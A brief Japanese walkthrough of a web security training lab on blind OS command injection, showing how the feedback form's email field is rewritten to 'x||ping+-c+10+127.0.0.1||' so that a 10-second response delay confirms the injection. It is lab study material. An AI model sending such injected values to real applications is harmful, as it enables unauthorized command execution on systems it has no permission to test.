academy OSコマンドインジェクション 2問目 時間遅延のあるブラインドOSコマンドインジェクション

Lab: Blind OS command injection with time delays

Submit feedbackリンクをクリック

適当に入力し、submit feedbackボタン

POST /feedback/submit リクエストを、リピータに

ボディのemailを
email=x||ping+-c+10+127.0.0.1||
に書き換え、send

レスポンスが10秒後にかえってくる

クリア！

–)v